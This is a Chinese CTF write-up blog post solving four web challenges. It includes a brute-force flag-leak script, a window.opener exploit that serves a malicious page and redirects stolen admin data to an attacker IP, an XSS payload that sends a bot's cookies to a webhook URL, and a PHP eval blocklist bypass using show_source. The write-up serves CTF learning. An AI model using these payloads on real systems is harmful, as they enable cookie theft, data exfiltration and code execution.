Flag L3ak

解题逻辑:

我们输入三个字符,之后会查询post,但是会把查到的post中flag替换成*,注意是查到之后替换,我们我们可以类似盲注一样,如果我们输入的三个字符包含在flag内,那么查到的post就会包含id为3的post,接下来就是按照逻辑爆破:

import requests
import string

# 目标服务器的 URL
url = "http://34.134.162.213:17000/api/search"

# 已知的 flag 前缀
known_flag_part = "ere"

# 定义一个包含所有可能字符的集合
# 你可以根据需要添加更多特殊字符
possible_chars = string.ascii_letters + string.digits + string.punctuation + "{}"

# 循环直到找到 flag 的结束符 '}'
while "}" not in known_flag_part:
    found_next_char = False
    for char in possible_chars:
        # 构造一个 3 个字符的查询
        # 取 known_flag_part 的最后两个字符,并附加一个新的猜测字符
        query = known_flag_part[-2:] + char

        # 发送 POST 请求
        try:
            response = requests.post(url, json={"query": query})
            response.raise_for_status() # 如果请求失败则抛出异常

            data = response.json()

            # 检查返回的 'results' 数组中是否包含 ID 为 3 的帖子
            if data.get("results") and any(post['id'] == 3 for post in data["results"]):
                # 如果猜测正确,将新字符附加到已知部分,并跳出内层循环
                known_flag_part += char
                print(f"找到新字符: {char} -> 当前 Flag: {known_flag_part}")
                found_next_char = True
                break

        except requests.exceptions.RequestException as e:
            print(f"请求失败: {e}")
            break

    # 如果在一轮完整的字符猜测后没有找到下一个字符,说明可能已到末尾或出错
    if not found_next_char:
        print("无法找到下一个字符,可能已完成或出现错误。")
        break

print(f"\n[+] 最终获取的 Flag: {known_flag_part}")

找到新字符: K -> 当前 Flag: L3AK
找到新字符: { -> 当前 Flag: L3AK{
找到新字符: L -> 当前 Flag: L3AK{L
找到新字符: 3 -> 当前 Flag: L3AK{L3
找到新字符: a -> 当前 Flag: L3AK{L3a
找到新字符: k -> 当前 Flag: L3AK{L3ak
找到新字符: 1 -> 当前 Flag: L3AK{L3ak1
找到新字符: n -> 当前 Flag: L3AK{L3ak1n
找到新字符: g -> 当前 Flag: L3AK{L3ak1ng
找到新字符: -> 当前 Flag: L3AK{L3ak1ng
找到新字符: t -> 当前 Flag: L3AK{L3ak1ng_t
找到新字符: h -> 当前 Flag: L3AK{L3ak1ng_th
找到新字符: e -> 当前 Flag: L3AK{L3ak1ng_the
找到新字符: r -> 当前 Flag: L3AK{L3ak1ng_ther
找到新字符: e -> 当前 Flag: L3AK{L3ak1ng_there
无法找到下一个字符,可能已完成或出现错误。

[+] 最终获取的 Flag: L3AK{L3ak1ng_there

可能是字符不完整,换了个:

import requests
import string

# 目标服务器的 URL
url = "http://34.134.162.213:17000/api/search"

# 已经找到的部分开始
known_flag_part = "L3AK{L3ak1ng_there"

# 使用 string.printable,这是一个更完整的字符集,包含了字母、数字、标点和空白字符(如空格)
# 之前的版本缺少了空格符,导致在 "there" 之后停止
possible_chars = string.printable

print(f"从已知部分开始继续爆破: {known_flag_part}")

# 循环直到找到 flag 的结束符 '}'
while "}" not in known_flag_part:
    found_next_char = False
    for char in possible_chars:
        # 构造一个 3 个字符的查询
        # 取 known_flag_part 的最后两个字符,并附加一个新的猜测字符
        query = known_flag_part[-2:] + char

        # 发送 POST 请求
        try:
            response = requests.post(url, json={"query": query})
            # 检查响应是否成功
            if response.status_code != 200:
                # 如果服务器返回错误(例如查询格式不对),打印出来并跳过
                # print(f"查询 '{query}' 时服务器返回状态码: {response.status_code}")
                continue

            data = response.json()

            # 检查返回的 'results' 数组中是否包含 ID 为 3 的帖子
            if data.get("results") and any(post['id'] == 3 for post in data["results"]):
                # 如果猜测正确,将新字符附加到已知部分,并跳出内层循环
                known_flag_part += char
                print(f"找到新字符: '{char}' -> 当前 Flag: {known_flag_part}")
                found_next_char = True
                break

        except requests.exceptions.RequestException as e:
            print(f"请求失败: {e}")
            break

    # 如果在一轮完整的字符猜测后没有找到下一个字符,说明可能已到末尾或出错
    if not found_next_char:
        print("\n无法找到下一个字符,脚本退出。")
        break

print(f"\n[+] 最终获取的 Flag: {known_flag_part}")

但还是不行,上面这个脚本可能会导致最后三位和flag前面的字符重复 导致陷入死循环,所以需要检测:

import requests
import string

# 目标服务器的 URL
url = "http://34.134.162.213:17000/api/search"
known_flag_part = "L3AK{L3ak1ng_there content"

# 使用 string.printable 来确保包含所有可能的字符
possible_chars = string.printable

print(f"开始爆破,初始部分: {known_flag_part}")

# 主循环,直到找到完整的 flag
while "}" not in known_flag_part:

    # 为当前要找的这一个字符创建一个临时的黑名单
    blacklist_for_this_step = set()
    found_a_good_char = False

    # 这个循环会一直运行,直到找到一个“不会导致循环”的好字符为止
    while not found_a_good_char:

        next_candidate_char = None

        # 1. 寻找下一个能匹配的候选字符
        for char in possible_chars:
            # 跳过这个位置已经确定是“坏”的字符
            if char in blacklist_for_this_step:
                continue

            # 构造查询,依然使用最后两个字符的逻辑
            query = known_flag_part[-2:] + char

            try:
                response = requests.post(url, json={"query": query})
                if response.status_code == 200 and response.json().get("count", 0) > 0:
                    # 找到了一个候选字符,先记下来,跳出循环去检查它
                    next_candidate_char = char
                    break
            except requests.exceptions.RequestException as e:
                print(f"请求异常: {e}")
                # 出现网络问题时,可以考虑退出或重试
                break

        # 如果遍历了所有字符(且不在黑名单里)都找不到匹配项,说明路走死了
        if next_candidate_char is None:
            print("错误:找不到任何可匹配的下一个字符,脚本退出。")
            exit()  # 退出整个程序

        # 2. 对找到的候选字符进行循环检测
        temp_flag = known_flag_part + next_candidate_char
        is_looping = False

        # 检查新 flag 的结尾是否存在 'abab', 'abcabc' 等模式
        # 例如,检查结尾的6个字符是否是某个3字符序列的重复
        if len(temp_flag) >= 6 and temp_flag.endswith(temp_flag[-3:] * 2):
            is_looping = True
            pattern = temp_flag[-3:]
        # 例如,检查结尾的4个字符是否是某个2字符序列的重复
        elif len(temp_flag) >= 4 and temp_flag.endswith(temp_flag[-2:] * 2):
            is_looping = True
            pattern = temp_flag[-2:]

        # 3. 根据检测结果决定是接受还是拉黑
        if is_looping:
            print(f"检测到循环模式 ('{pattern}') -> 字符 '{next_candidate_char}' 是陷阱,加入临时黑名单。")
            blacklist_for_this_step.add(next_candidate_char)
            # found_a_good_char 仍然是 False, 将会继续 while 循环,寻找下一个候选字符
        else:
            # 不是循环!这是个好字符
            known_flag_part += next_candidate_char
            print(f"找到新字符: '{next_candidate_char}' -> 当前 Flag: {known_flag_part}")
            found_a_good_char = True  # 标记成功,跳出内部的 while 循环

print(f"\n[+] 最终获取的 Flag: {known_flag_part}")

最后得到的Flag是:Flag = "L3AK{L3ak1ng_there content is: L3ak1ng_th3_Fl4g???}"

由于长度只有24位置:

所以猜测Flag为:L3AK{L3ak1ng_th3_Fl4g??},成功提交。

Window of Opportunity

核心原理:window.opener 漏洞

这次攻击最核心的漏洞,在于服务器 visit 函数中使用的 window.open()

当一个页面 A (http://...:17001) 打开一个新的页面 B (http://.../malicious.html) 时,如果未使用特殊设置(如 rel="noopener"),那么页面 B 的 JavaScript 可以通过 window.opener 这个属性反向控制页面 A。

这就像管理员打开了一扇通往外部的窗户,但没有关上内部的对讲机。我们作为外部的人,可以通过这个对讲机向内部的管理员下达指令。

完整的攻击流程

第1步:准备工作

  1. 启动一个Web服务器(端口28023):这个服务器有两个功能,一是提供我们的攻击载荷 malicious.html,二是作为“邮箱”,接收最后由Bot送回来的Flag。
  2. 准备发起攻击:脚本进入一个循环,准备向目标服务器提交我们的恶意网址。

第2步:触发Admin Bot(攻击的开始)

  1. 首先向目标服务器 http://...:17001/ 发送一个GET请求,获取主页内容。
  2. 它从主页HTML中用正则表达式解析出一个合法、新鲜的CSRF令牌
  3. 然后,它向 /visit_url 接口发送一个 POST 请求。这个请求:
    • 移除了 Origin,以此绕过了服务器代码中 if (origin && ...) 的有缺陷的来源检查。
    • 同时包含了 X-CSRF-TokenAuthorization: Bearer,以完美模仿真实浏览器的行为,防止被前端的WAF或代理拦截。
    • 请求的数据中,包含了 url: http://.../malicious.html
  4. 服务器验证通过后,Admin Bot(一个后台运行的Puppeteer无头浏览器)开始工作。

第3步:Admin Bot 的内部操作

  1. Bot首先在自己的浏览器环境中设置一个特殊的Cookie:一个包含了 { "admin": true } 的JWT。这是它管理员身份的凭证
  2. Bot访问主页 http://...:17001/,此时它的页面DOM中就有了我们可以窃取的CSRF令牌。
  3. 然后,Bot执行 window.open(),打开了我们在上一步提交的 malicious.html

第4步:Payload执行(攻击的核心)

这是最关键的一步,发生在Admin Bot的浏览器中。

  1. 我们的 malicious.html 页面被加载,它的JavaScript代码立即执行
  2. 脚本通过 window.opener 访问了打开它的那个页面(即带有管理员身份的主页)。
  3. 它从主页的 <meta> 标签中窃取到了CSRF令牌
  4. 它立即使用 window.opener.fetch('/get_flag', ...) 发起请求。这个请求:
    • 是在主页的源(Origin)下发出的,所以完美通过了Origin校验
    • 因为是在Bot的浏览器中发出,所以自动带上了管理员的JWT Cookie
    • 我们手动将刚刚窃取到的CSRF令牌加入到请求头中。
  5. 服务器的 /get_flag 接口收到了一个带有合法管理员Cookie和合法CSRF令牌的请求,验证通过,返回了包含Flag的JSON数据。

第5步:数据回传(拿到战利品)

  1. 我们的malicious.html脚本收到了包含Flag的JSON响应。
  2. 为了对抗可能存在的防火墙(它可能阻止Bot向外网任意端口发请求),我们采取了最稳妥的回传方式:命令父窗口进行页面跳转
  3. window.opener.location.href = 'http://...:28023/?data=...' 这行代码,让Bot的主页面整个跳转到了我们的服务器,并把完整的JSON响应作为URL参数附加在后面。
  4. 您的Python脚本在28023端口上的服务器收到了这个跳转请求,解析出URL中的data参数,打印出来,我们就看到了最终的Flag。

漏洞利用脚本如下:

import requests
import re
import threading
import time
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import urllib.parse

# --- 配置 ---
ATTACKER_IP = "39.105.134.199"
SERVER_PORT = 28023

TARGET_HOST = "34.134.162.213:17001"
TARGET_URL = f"http://{TARGET_HOST}/"
VISIT_URL = f"http://{TARGET_HOST}/visit_url"
ATTACKER_PAYLOAD_URL = f"http://{ATTACKER_IP}:{SERVER_PORT}/malicious.html"

flag_received_event = threading.Event()
RECEIVED_DATA = ""

MALICIOUS_HTML_CONTENT = f"""
<script>
    if (window.opener && !window.opener.closed) {{
        try {{
            const csrfToken = window.opener.document.querySelector('meta[name="csrf-token"]').getAttribute('content');
            if (csrfToken) {{
                window.opener.fetch('/get_flag', {{
                    method: 'GET',
                    headers: {{ 'X-CSRF-Token': csrfToken }},
                    cache: 'no-cache'
                }})
                .then(r => r.text()) // 使用.text()来获取原始响应文本,更健壮
                .then(responseText => {{
                    // 直接回传完整的responseText
                    window.opener.location.href = `http://{ATTACKER_IP}:{SERVER_PORT}/?data=${{encodeURIComponent(responseText)}}`;
                }});
            }}
        }} catch (e) {{
            // 如果出错,也尝试把错误信息发回来
            window.opener.location.href = `http://{ATTACKER_IP}:{SERVER_PORT}/?error=${{encodeURIComponent(e.message)}}`;
        }}
    }}
</script>
</body>
</html>
""".encode('utf-8')

# --- 服务器处理器 ---
class UniversalHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        global RECEIVED_DATA
        parsed_path = urlparse(self.path)
        query_params = parse_qs(parsed_path.query)

        data_key = 'data' if 'data' in query_params else 'error'
        if data_key in query_params:
            RECEIVED_DATA = query_params[data_key][0]
            decoded_data = urllib.parse.unquote_plus(RECEIVED_DATA)
            print(f"\\n\\n[+] 目标达成! 成功接收到来自 /get_flag 的完整响应:\\n--- RESPONSE START ---\\n{decoded_data}\\n--- RESPONSE END ---\\n")
            self.send_response(200); self.end_headers(); self.wfile.write(b"OK"); flag_received_event.set()
            return

        if self.path == '/malicious.html':
            self.send_response(200); self.send_header("Content-type", "text/html"); self.end_headers(); self.wfile.write(MALICIOUS_HTML_CONTENT)
            return

        self.send_response(200); self.end_headers(); self.wfile.write(b"OK")
    def log_message(self, format, *args):
        if "malicious.html" in args[0] or "data=" in args[0] or "error=" in args[0]: super().log_message(format, *args)

# --- 主攻击逻辑 ---
def trigger_bot():
    print("[*] 开始攻击循环...")
    attempts = 0
    while not flag_received_event.is_set():
        attempts += 1
        print(f"\\n--- 第 {attempts} 次尝试 ---")
        try:
            session = requests.Session()
            print("[*] 正在获取主页和CSRF令牌...")
            response = session.get(TARGET_URL, timeout=10)
            match = re.search(r'name="csrf-token" content="([^"]+)"', response.text)
            if not match: print("[!] 获取CSRF令牌失败, 5秒后重试..."); time.sleep(5); continue
            csrf_token = match.group(1)
            print(f"[*] 已获取CSRF令牌: {csrf_token[:10]}...")
            headers = {'X-CSRF-Token': csrf_token, 'Authorization': f'Bearer {csrf_token}'}
            data = {'url': ATTACKER_PAYLOAD_URL, 'csrf_token': csrf_token}
            print(f"[*] 正在触发Admin Bot访问...")
            post_response = session.post(VISIT_URL, headers=headers, data=data, timeout=10)
            if post_response.status_code == 200:
                print("[+] 成功提交URL! 等待15秒让Bot执行并回传响应...")
                flag_received_event.wait(timeout=15)
            else:
                print(f"[!] 提交URL失败. 状态码: {post_response.status_code}, 响应: {post_response.text}"); time.sleep(3)
        except requests.exceptions.RequestException as e:
            print(f"[!] 请求异常: {e}. 5秒后重试..."); time.sleep(5)

# --- 主程序 ---
if __name__ == "__main__":
    server_thread = threading.Thread(target=HTTPServer(("0.0.0.0", SERVER_PORT), UniversalHandler).serve_forever, daemon=True)
    server_thread.start()
    print(f"[+] 全能服务器已在 http://{ATTACKER_IP}:{SERVER_PORT} 启动")
    time.sleep(1)
    trigger_bot()
    if not RECEIVED_DATA: print("\\n[*] 脚本执行完毕,但未收到任何回传数据。")
    print("[*] 任务完成。")

NotoriousNote

直接给出payload:

参考链接


# 先去拿一个webhook
http://127.0.0.1:5000/?__proto__[*][0]=onload&note=<iframe onload="document.location='https://webhook.site/b881ac2a-d696-4e52-b237-cb0867404a32/?c='+encodeURIComponent(parent.document.cookie)"></iframe>

# 提交给robot
http://127.0.0.1:5000/?__proto__[*][0]=onload&note=%3Ciframe%20onload%3D%22document.location%3D%27https%3A%2F%2Fwebhook.site%2Fb881ac2a-d696-4e52-b237-cb0867404a32%2F%3Fc%3D%27%2BencodeURIComponent(parent.document.cookie)%22%3E%3C%2Fiframe%3E

解题说明:

机器人回访问一次本地的5000端口,note那里是存在XSS的不过过滤的很严格,参考上面的教程找到了给标签添加有效属性的方法,这样机器人在访问这个链接的时候由于note的内容是iframe标签属性onload就再次发动访问这样就可以利用webhook获取到机器人的cookie。

Certay

  1. 密钥是没办法获取的,但是我们的key作为一个数组传参的时候发现报错:

    openssl_encrypt() expects parameter 1 to be string,array given 这里这个函数已经罢工了不会有任何输出,这样echo safe_sign($_GET['key']);就是空的。

  2. 上面这一步直接废掉了我们没有找到的key,这样只要在本地复现custom_sign,打印出的hash就可以了,之后不管KEY是任意的值都没有用,修改题目脚本如下

    ```php
    <?php
    session_start();
    define(‘KEY’, ‘asazxzaaaaaaaaaaasada’);
    define(‘yek’, $_SESSION[‘yek’]);

//
//if (!isset($_SESSION[‘user_id’])) {
// header(‘Location: login.php’);
// exit;
//}

if (!isset($_SESSION[‘yek’])) {
$_SESSION[‘yek’] = openssl_random_pseudo_bytes(
openssl_cipher_iv_length(‘aes-256-cbc’)
);
}

function safe_sign($data) {
return openssl_encrypt($data, ‘aes-256-cbc’, KEY, 0, iv);
}
function custom_sign($data, $key, $vi) {
return openssl_encrypt($data, ‘aes-256-cbc’, $key, 0, $vi);
}

?>


   ```html
   <!DOCTYPE html>
   <html>
   <head>
       <title>Dashboard</title>
       <style>
           body{font-family:sans-serif}
           textarea{width:100%}
           .success{color:green}
           .error{color:red}
       </style>
   </head>
   <body>
   <h2>Dashboard</h2>

   <?php
   if (isset($_GET['msg']) && isset($_GET['hash']) && isset($_GET['key'])) {
       echo $_GET['hash'];
       echo $_GET['key'];
       echo safe_sign($_GET['key']);
       echo custom_sign($_GET['msg'], $yek, safe_sign($_GET['key']));

       if (custom_sign($_GET['msg'], $yek, safe_sign($_GET['key'])) === $_GET['hash']) {
           echo "<div class='success'>Wow! Hello buddy I know you! Here is your secret files:</div>";
   //        $stmt = $db->prepare("SELECT content FROM notes WHERE user_id = ?");
   //        $stmt->execute([$_SESSION['user_id']]);
   //        $notes = $stmt->fetchAll(PDO::FETCH_ASSOC);
   //        if (!$notes) {
   //            echo "<p>Nothing here.</p>";
   //        } else {
   //            foreach ($notes as $note) {
   //                $content = $note['content'];
   //                if (strpos($content, '`') !== false) {
   //                    echo 'You are a betrayer!';
   //                    continue;
   //                }
   //                $isBetrayal = false;
   //                foreach ($dangerous as $func) {
   //                    if (preg_match('/\b' . preg_quote($func, '/') . '\s*\(/i', $content)) {
   //                        $isBetrayal = true;
   //                        break;
   //                    }
   //                }
   //                if ($isBetrayal) {
   //                    echo 'You are a betrayer!';
   //                    continue;
   //                }
   //                try {
   //                    eval($content);
   //                } catch (Throwable $e) {
   //                    echo "<pre class='error'>Eval error: "
   //                    . htmlspecialchars($e->getMessage())
   //                    . "</pre>";
   //                }
   //            }

   //        }
       } else {
           echo "<div class='error'>Nothing to see, ask your friends for our trust key!</div>";
       }
   } else {
       echo "<p>Supply a <code>message</code> and use your <code>key</code> to hide it so I can validate you :D</p>";
   }
   ?>

   <hr>
   <h3>Hide more notes:</h3>
   <form method="POST" action="post_note.php">
     <textarea name="note" rows="4"
               placeholder="Something you don't want to share?"></textarea><br><br>
     <button>Save it</button>
   </form>

   <p><a href="logout.php">Logout</a></p>
   </body>
   </html>

得到参数:msg=SOLVED&key[]=&hash=TACSiA0mKmLmWkEKquJlMw==

  1. 对于题目平台,首先注册登陆,之后content就要绕过禁用的函数:

    $a='show_source';$a('/tmp/flag.txt');
    
  2. 之后按照得到参数,在dashboard.php发起请求

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

尘落 微信支付

微信支付

尘落 支付宝

支付宝

尘落 贝宝

贝宝